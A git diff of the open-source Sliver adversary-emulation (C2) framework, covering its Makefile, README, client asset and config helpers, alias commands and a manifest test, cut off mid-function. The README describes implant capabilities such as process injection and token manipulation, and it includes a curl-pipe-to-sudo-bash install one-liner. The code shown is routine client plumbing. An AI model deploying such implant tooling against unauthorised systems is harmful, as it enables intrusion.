ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** Start Darwin ***
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
endif
# *** Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Linux ***
#
# Targets
#
.PHONY: default
default: clean pb
$(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean pb
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean pb
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean pb
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean pb
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=plugins=grpc,paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
@@ -115,8 +152,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f ./protobuf/client/*.pb.go
rm -f ./protobuf/sliver/*.pb.go
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
rm -f sliver-client sliver-server sliver-*.exe
+17 -10
View File
@@ -1,13 +1,11 @@
Sliver
======
⚠️ __Notice:__ Sliver is currently in __beta__, you've been warned :) and please consider [contributing](/CONTRIBUTING.md)
Sliver is an open source, cross-platform adversary simulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
@@ -17,19 +15,23 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
* [Fully scriptable](https://github.com/moloch--/sliver-script)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-anti-anti-forensics
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
@@ -38,6 +40,11 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+4 -2
View File
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+1
View File
@@ -0,0 +1 @@
fs/**
+65
View File
@@ -0,0 +1,65 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+63
View File
@@ -0,0 +1,63 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"os"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
return append(armoryConfigs, defaultArmoryConfig)
}
+45 -2
View File
@@ -19,21 +19,28 @@ package assets
*/
import (
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName)
dir := filepath.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -42,3 +49,39 @@ func GetRootAppDir() string {
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := filepath.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
+5 -4
View File
@@ -40,6 +40,7 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
@@ -48,7 +49,7 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := path.Join(rootDir, ConfigDirName)
dir := filepath.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("Empty config")
return errors.New("empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
+66
View File
@@ -0,0 +1,66 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+77
View File
@@ -0,0 +1,77 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+25 -1
View File
@@ -25,7 +25,9 @@ import (
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
@@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
err := console.StartClientConsole()
err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
func Execute() {
if err := rootCmd.Execute(); err != nil {
@@ -1,4 +1,4 @@
package console
package cli
/*
Sliver Implant Framework
+10
View File
@@ -2,3 +2,13 @@ Command
=======
This package contains all of the client command implementations that are shared between the client and the server console.
### Developers
General guidance on the structure of this package:
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
* The root command, and reused code should go into the file named after the command
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
+11
View File
@@ -0,0 +1,11 @@
Alias
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
+126
View File
@@ -0,0 +1,126 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+90
View File
@@ -0,0 +1,90 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
+178
View File
@@ -0,0 +1,178 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
